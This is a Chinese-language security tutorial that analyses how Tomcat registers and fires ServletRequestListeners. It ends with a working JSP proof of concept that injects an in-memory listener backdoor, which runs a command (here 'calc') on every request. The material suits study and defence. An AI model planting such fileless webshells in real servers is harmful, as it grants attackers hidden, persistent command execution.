Listener内存马
前置基础
Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。
Listener三个域对象
- ServletContextListener
- HttpSessionListener
- ServletRequestListener
根据名字来看,ServletRequestListenner是最适合当作内存马的。从名字就知道,ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,即可触发ServletRequestListener#requestInitialized()
方法
构建listener
之前构建Filter内存马,需要定义一个实现好filter接口的类,Listener也是一样,需要定义一个实现好Listener接口的类
要实现listener的业务,就要实现EventListener
,感觉和Serializable
接口相似,只起了一个标记作用
1 2 3 4 5 6 7 8
| package java.util;
public interface EventListener { }
|
EventListener
的实现类非常多,我们优先找Servlet开头的,方便去触发我们所构造的恶意Lisenter

我们找到了ServletRequestListener
感觉该监听器在我们每次发送请求时,都会触发其requestInitialized
方法
1 2 3 4 5 6
| public interface ServletRequestListener extends EventListener {
default public void requestDestroyed(ServletRequestEvent sre) {}
default public void requestInitialized(ServletRequestEvent sre) {} }
|
先构造一个简单的listener
因为前面猜想 requestInitialized()
方法可以触发 Listener 监控器,所以我们在 requestInitialized()
方法里面加上一些代码,来证明它何时被执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener;
@WebListener("/listenerTest") public class ListenerTest implements ServletRequestListener {
public ListenerTest(){ }
@Override public void requestDestroyed(ServletRequestEvent sre) {
}
@Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("Listener Initialized"); } }
|
同样我们也需要在web.xml中配置
1 2 3
| <listener> <listener-class>ListenerTest</listener-class> </listener>
|
接下来在访问路径时,都会打印信息

至此,Listener 基础代码实现完成,下面我们来分析 Listener 的运行流程。
分析
访问前
与servlet注册时相似,我们直接看到解析xml文件后做注册的地方ContextConfig#configureContext
将web.xml读取后,作为参数传入该方法中后,对servlet、filter、listener等组件进行配置
调试ContextConfig#configureContext
,我们可以看到,获取的web.xml中已经有了对应的Listener文件

我们在这里重点关注listener的读取
1 2 3 4 5 6 7
| private void configureContext(WebXml webxml) { ...... for (String listener : webxml.getListeners()) { context.addApplicationListener(listener); } ...... }
|
我们在此处下个断点,运行到这里
这里的context是StandardContext
,执行的是StandardContext
的addApplicationListener
方法

在读取完web.xml文件后,需要去加载Listener
当我们读取完配置文件,当应用启动的时候,StandardContext
会去调用 listenerStart()
方法。这个方法做了一些基础的安全检查,最后完成简单的 start 业务。

刚开始的地方,listenerStart()
方法中有这么一个语句
1
| String listeners[] = findApplicationListeners();
|
这里这个方法实际就是把之前的 Listener 返回,存放到listeners
1 2 3 4
| @Override public String[] findApplicationListeners() { return applicationListeners; }
|
访问后
把断点下在requestInitialized
方法,开启调试,访问路径后走到这里

但这里只是我们所写的代码执行点,我们需要向上找,找到StandardContext#fireRequestInitEvent
方法
这里会调用getApplicationEventListeners
方法,获取ApplicationEventListeners
并存入instances[]
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| @Override public boolean fireRequestInitEvent(ServletRequest request) {
Object instances[] = getApplicationEventListeners();
if ((instances != null) && (instances.length > 0)) {
ServletRequestEvent event = new ServletRequestEvent(getServletContext(), request);
for (Object instance : instances) { if (instance == null) { continue; } if (!(instance instanceof ServletRequestListener)) { continue; } ServletRequestListener listener = (ServletRequestListener) instance;
try { listener.requestInitialized(event); } catch (Throwable t) { ExceptionUtils.handleThrowable(t); getLogger().error(sm.getString( "standardContext.requestListener.requestInit", instance.getClass().getName()), t); request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t); return false; } } } return true; }
|
我们进入到getApplicationEventListeners()
方法中,可以看到该方法只做了一件事:获取一个 Listener 数组
1 2 3 4
| @Override public Object[] getApplicationEventListeners() { return applicationEventListenersList.toArray(); }
|
后面的for循环,会从Listener数组中,将listener一个一个取出来,去执行它的<font style="color:rgb(80, 80, 92);">requestInitialized</font>
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| for (Object instance : instances) { if (instance == null) { continue; } if (!(instance instanceof ServletRequestListener)) { continue; } ServletRequestListener listener = (ServletRequestListener) instance;
try { listener.requestInitialized(event); } catch (Throwable t) { ExceptionUtils.handleThrowable(t); getLogger().error(sm.getString( "standardContext.requestListener.requestInit", instance.getClass().getName()), t); request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t); return false; } }
|
我们现在就要想,向这个数组中去添加我们的恶意listener
我们可以通过 StandardContext#addApplicationEventListener()
方法来添加 Listener
1 2 3
| public void addApplicationEventListener(Object listener) { applicationEventListenersList.add(listener); }
|
到这一步的调试就没有内容了,所以这里的逻辑有应该是和 Filter 差不多的,Listener 这里有一个 Listener 数组,对应的 Filter 里面也有一个 Filter 数组。
实现
要实现内存马的注入,有以下两步
- 在Listener中的
requestInitialized()
方法里面写入恶意代码
- 通过 StandardContext 类的
addApplicationEventListener()
方法把恶意的 Listener 放进去
首先和前两个内存马一样,通过反射来获取<font style="color:rgb(80, 80, 92);">StandardContext</font>
1 2 3 4 5 6 7 8
| ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
|
接下来定义我们的恶意Listener
1 2 3 4 5 6 7 8 9 10 11
| <%! public class Shell_Listener implements ServletRequestListener { public void requestInitialized(ServletRequestEvent sre) { Runtime.getRuntime().exec("calc"); } public void requestDestroyed(ServletRequestEvent sre) { } } %>
|
最后就要实例化内存马,并添加监听器
1 2 3 4
| <% Shell_Listener shell_Listener = new Shell_Listener(); context.addApplicationEventListener(shell_Listener); %>
|
最终poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.List" %> <%@ page import="java.util.Arrays" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.util.ArrayList" %> <%@ page import="java.io.InputStream" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.IOException" %> <html> <head> <title>Title</title> </head> <body>
<%! public class Shell_Listener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } }
public void requestDestroyed(ServletRequestEvent sre) { } } %>
<% ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Shell_Listener shellListener = new Shell_Listener(); standardContext.addApplicationEventListener(shellListener); %>
</body> </html>
|
将tomcat服务启动后,访问addListener.jsp
,将恶意filter注册进tomcat,后续访问任何一个路径,都可以成功执行命令
